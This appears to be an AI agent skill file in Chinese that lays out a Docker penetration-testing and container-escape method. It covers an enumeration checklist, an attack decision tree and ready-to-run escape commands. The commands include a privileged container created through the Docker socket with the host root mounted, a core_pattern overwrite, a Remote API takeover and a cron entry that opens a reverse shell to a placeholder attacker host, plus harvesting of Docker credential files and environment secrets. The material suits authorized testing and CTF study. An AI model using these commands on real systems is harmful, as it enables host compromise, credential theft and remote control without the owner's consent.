| name | docker-pentesting |
| description | Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能 |
| metadata | {"tags":"docker,container,registry,image,container escape,逃逸,容器,镜像层,docker.sock,docker api,cgroup,runc,namespace,procfs,core_pattern,capabilities,dirtycow,dirtypipe","category":"cloud","mitre_attack":"T1611,T1610,T1613"} |
Docker 安全测试与容器渗透
Docker 攻击面不只有逃逸:容器配置、Docker Daemon、Registry、镜像层、构建上下文和宿主机共享内核都会形成不同的突破路径。先判断自己处在容器内、宿主机用户态还是远程 Registry/API 视角,再选择逃逸、凭据提取或供应链横向。
深入参考
Phase 1: 攻击面确认
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "IN DOCKER"
ls /.dockerenv 2>/dev/null && echo "IN DOCKER"
cat /proc/1/sched | head -1
hostname
cat /etc/os-release
uname -r
Phase 2: 逃逸条件检查清单
按成功率排序检查:
cat /proc/1/status | grep CapEff
ls -la /var/run/docker.sock 2>/dev/null
find / -name core_pattern 2>/dev/null
GW=$(hostname -I 2>/dev/null | awk '{print $1}' | awk -F. '{print $1"."$2"."$3".1"}')
[ -z "$GW" ] && GW=$(ip route 2>/dev/null | awk '/default/{print $3}')
timeout 3 bash -c "echo >/dev/tcp/$GW/2375" 2>/dev/null && echo "DOCKER API EXPOSED on $GW:2375"
mount | grep -v 'overlay\|proc\|sys\|cgroup\|tmpfs\|devpts\|mqueue'
cat /proc/mounts | grep -E '^/dev/'
groups | grep docker || id | grep docker
cat /etc/group | grep docker
cat /proc/1/status | grep Cap
ls /proc/*/exe 2>/dev/null | head -20
ip addr
uname -r
env | sort
cat /proc/self/environ | tr '\0' '\n'
find / -name "docker-compose*" 2>/dev/null
cat ~/.docker/config.json 2>/dev/null
find / -path '*/.docker/config.json' 2>/dev/null
Phase 3: Docker 攻击决策树
检查结果?
├─ 特权容器 → 挂载宿主机磁盘 / cgroup release_agent / nsenter(需 hostPID)
├─ Docker Socket → 创建特权容器逃逸(docker CLI 或 curl,详见 references)
├─ procfs 挂载 → core_pattern 管道符反弹 shell
├─ Docker Remote API 暴露 → 远程创建特权容器
├─ 宿主机目录挂载
│ ├─ /etc → 写 crontab/SSH key
│ └─ 其他目录 → 读写宿主机文件
├─ Docker 用户组(宿主机用户在 docker 组)→ docker run -v /:/host
├─ CAP_SYS_ADMIN → cgroup 逃逸 / mount
├─ CAP_SYS_PTRACE + hostPID → 注入宿主机进程
├─ CAP_DAC_READ_SEARCH → shocker / 配合 DirtyPipe
├─ hostNetwork → 访问宿主机服务/Metadata API
├─ 运行时 CVE(runc/containerd 版本过旧)→ CVE-2019-5736, CVE-2019-16884, CVE-2020-15257
├─ Registry 暴露或有镜像凭据 → 枚举仓库/tag/blob,分析镜像层 Secret
├─ 信息收集(不直接逃逸但发现关键信息)
│ ├─ 环境变量 → 可含数据库密码、API Key、云凭证
│ ├─ Docker Registry / 镜像层 → 可含历史 Secret、kubeconfig、源码和制品 Token
│ └─ docker-compose.yml → 可含密码、挂载点、网络配置
└─ 以上都没有 → 内核漏洞(按版本匹配 CVE)
├─ >= 5.8 未修复 → DirtyPipe (CVE-2022-0847)
├─ 2.6.22+ 2016前 → DirtyCow (CVE-2016-5195)
├─ 5.8-5.16 → BPF 绕过 (CVE-2022-23222)
├─ 2.6.19-5.12 → Netfilter (CVE-2021-22555)
└─ Ubuntu 14-20 → OverlayFS (CVE-2021-3493)
详细命令 → [references/escape-methods.md](references/escape-methods.md)
Phase 4: 快速逃逸命令
特权容器(成功率 99%)
mkdir -p /tmp/host && mount /dev/sda1 /tmp/host
cat /tmp/host/root/flag.txt
Docker Socket(成功率 95%)
SOCK=/var/run/docker.sock
IMAGE=$(curl -s --unix-socket $SOCK http://localhost/images/json | python3 -c "import json,sys;imgs=json.load(sys.stdin);print(imgs[0]['RepoTags'][0] if imgs else 'alpine')")
CID=$(curl -s --unix-socket $SOCK -X POST -H "Content-Type: application/json" \
http://localhost/containers/create \
-d "{\"Image\":\"$IMAGE\",\"Cmd\":[\"cat\",\"/mnt/root/flag.txt\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"],\"Privileged\":true}}" \
| python3 -c "import json,sys;print(json.load(sys.stdin)['Id'])")
curl -s --unix-socket $SOCK -X POST http://localhost/containers/$CID/start
sleep 2
curl -s --unix-socket $SOCK "http://localhost/containers/$CID/logs?stdout=true&stderr=true"
procfs 挂载(core_pattern)
upperdir=$(sed -n 's/.*\bupperdir=\([^,]*\).*/\1/p' /proc/mounts)
host_path=$(dirname "$upperdir")/merged
echo -e "|${host_path}/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
Docker Remote API
GW=$(hostname -I 2>/dev/null | awk '{print $1}' | awk -F. '{print $1"."$2"."$3".1"}')
[ -z "$GW" ] && GW=$(ip route 2>/dev/null | awk '/default/{print $3}')
docker -H tcp://$GW:2375 run -v /:/mnt -it alpine chroot /mnt bash
写 Crontab 逃逸
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'" > /host_etc/cron.d/pwn
Docker 用户组提权(宿主机场景)
docker run -v /:/host -it alpine chroot /host sh
工具
| 工具 | 用途 |
|---|
| CDK | 容器逃逸自动化检测+利用 |
| deepce | Docker 枚举脚本 |
| amicontained | 容器环境检测 |